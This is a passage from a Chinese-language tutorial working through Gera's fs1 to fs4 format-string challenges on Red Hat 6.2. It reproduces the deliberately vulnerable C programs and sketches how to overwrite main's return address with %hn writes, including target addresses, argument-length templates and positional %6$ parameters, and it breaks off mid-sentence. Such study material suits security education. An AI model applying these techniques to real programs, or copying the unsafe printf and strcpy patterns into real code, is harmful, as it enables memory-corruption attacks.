测试环境 redhat 6.2 glibc 2.1.3
★ 2.1 演示一
/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Don''t forget,*
* more is less,*
* here''s a proof */
int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}
利用方法:
这个程序构造的很巧妙,假如我们需要从这个程序中得到控制的话,
我们需要把strcpy和printf都利用起来。
我们的目标:覆盖main函数的返回地址,需要使zero为0,然而,单单strcpy
是不可能实现的,所以我们需要利用后面的
printf("%s%hn\n",buf,plen);
把short int 类型的zero设置为0。所以我们需要精心构造argc[1].
★ 2.2 演示二
/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Can you tell me what''s above the edge? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我们现在来覆盖main的返回地址:0xbffffb6c,
假使shellcode地址为:0xbffffc88
开始构造模板
第一次我们构造argc[1]的时候需要使argc[1]长度为0xbfff-2
那使构造argc[1]内容为
aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|...
第二次我们构造argc[2]的时候需要使argc[2]长度为0xfb6c-2
那使构造argc[2]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...
★ 2.3 演示三
/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/
/* Not enough resources?*/
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我们也看到,shellcode和main的返回地址存放的地址后两个字节是
一样的,所以也就不需要上面的第一步操作,直接如下构造:
构造argc[1]的时候需要使argc[1]长度为0xfb6c-2
那使构造argc[1]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...
★ 2.4 演示四
/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Have you ever heard about code reusability?*/
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}
%6$hn格式化字符串表示%hn对应的格式化参数使用第六个参数
明白这一点,写出eXPloit应该不是问题。
看了下面一个例子就应该明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include <stdio.h>
int main(int argc, char *argv[])
{
int a=2,b=3;
printf("%d %d\n",a ,b);
printf("%2$d %1$d\n",a ,b);
return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
这样,我们可以在格式
